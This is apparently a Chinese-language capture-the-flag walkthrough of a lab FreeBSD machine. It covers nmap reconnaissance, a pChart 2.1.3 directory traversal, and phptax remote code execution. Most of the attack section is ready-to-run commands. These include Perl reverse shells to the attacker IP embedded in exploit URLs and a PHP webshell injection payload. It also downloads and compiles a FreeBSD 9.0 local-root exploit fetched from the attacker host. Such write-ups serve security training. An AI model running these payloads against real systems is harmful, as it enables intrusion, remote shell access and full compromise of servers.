靶机搭建
点击扫描虚拟机
然后扫描文件夹即可
信息收集
扫描ip
nmap扫描得到目标靶机ip
nmap -sn 192.168.108.0/24
故
攻击机:192.168.108.130
目标靶机:192.168.108.140
扫端口和服务信息
扫描开放端口信息
nmap -p 1-65535 192.168.108.140
可用信息
22/tcp closed ssh #ssh服务
80/tcp open http #Web网站
8080/tcp open http-proxy #HTTP代理或备用Web端口
扫描服务信息
nmap -sV 192.168.108.140
可用信息
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
指纹探测
执行以下命令
nmap 192.168.108.140 -p 22,80,8080 -sV -sC -O --version-all
寻找攻击点并攻击
信息探测
访问8080端口,拒绝访问
访问80端口,在源码处发现该提示
访问该页面 http://192.168.108.140/pChart2.1.3/examples/index.php
根据提示应该与pChart2.1.3有关,查找该漏洞
参考文章:https://vk9-sec.com/exploiting-pchart-2-1-3-directory-traversal-xss/
漏洞利用
两个可用信息,逐一访问试试
可以正常访问
再看看配置文件,Apache HTTP 服务器的主配置文件安装为 /usr/local/etc/apache2x/httpd.conf,其中 x 表示版本号,可以看到需要访问8080端口,且浏览器代理为Mozilla/4.0才可以
访问8080端口,只有一个跳转链接,访问试试
随便点击看看,没有什么有用信息
根据phptax查找漏洞利用,发现一个利用脚本
https://github.com/NHPT/phptaxExploit
在kali下载下来利用
反弹shell
开启一个监听端口 nc -lvvp 4444,成功反弹
python3 phptax_exp.py -u http://192.168.108.140:8080/phptax -e perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.108.130%22%3B%24p%3D4444%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B%27
perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.108.130%22%3B%24p%3D4444%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B%27
其他方法
方法1
本靶机还可以利用其它方法连接,查看phptax漏洞,有两个远程命令执行漏洞
下载下来查看
searchsploit -m 21665.txt
searchsploit -m 25849.txt
先看25849.txt,有两处利用方式
url/index.php?field=rce.php&newvalue=<?php passthru($_GET[cmd]);?>
url/data/rce.php?cmd=id
执行完成之后访问
然后反弹shell
http://192.168.108.140:8080/phptax/data/rce.php?cmd=perl -e 'use Socket;$i="$ENV{192.168.108.130}";$p=$ENV{4444};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
kali监听即可
方法2
再看21665.txt,存在漏洞利用方式
解码看看
利用方式,同样kali监听即可
http://192.168.108.140:8080/phptax/drawimage.php?pfilez=xxx;perl -e 'use Socket;$i="$ENV{192.168.108.130}";$p=$ENV{4444};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';&pdf=make
提权
查看靶机信息,该用户为www,且系统内核为FreeBSD 9.0
uname -a:输出有关系统的详细信息,包括内核版本、主机名、操作系统类型和架构等
查看历史漏洞
该靶机没有wget命令
网上查找下载方式
下载exp脚本到本地
searchsploit FreeBSD 9.0 -m 26368.c
searchsploit FreeBSD 9.0 -m 28718.c
开启web服务
python -m http.server 80
下载exp
fetch http://192.168.108.130/26368.c
gcc 26368.c -o 26368
chmod 777 26368
./26368
下载成功并编译
添加权限并执行
提权成功